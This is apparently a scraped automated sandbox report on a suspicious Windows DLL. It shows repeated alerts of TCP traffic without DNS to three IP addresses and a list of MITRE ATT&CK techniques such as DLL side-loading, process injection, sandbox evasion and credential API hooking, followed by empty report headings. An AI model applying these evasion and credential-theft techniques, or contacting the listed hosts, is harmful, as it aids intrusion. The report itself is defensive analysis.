Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.224.56
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.229.63
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123
Source: unknown	TCP traffic detected without corresponding DNS query: 77.238.250.123

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\config

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

Windows Analysis Report
file.dll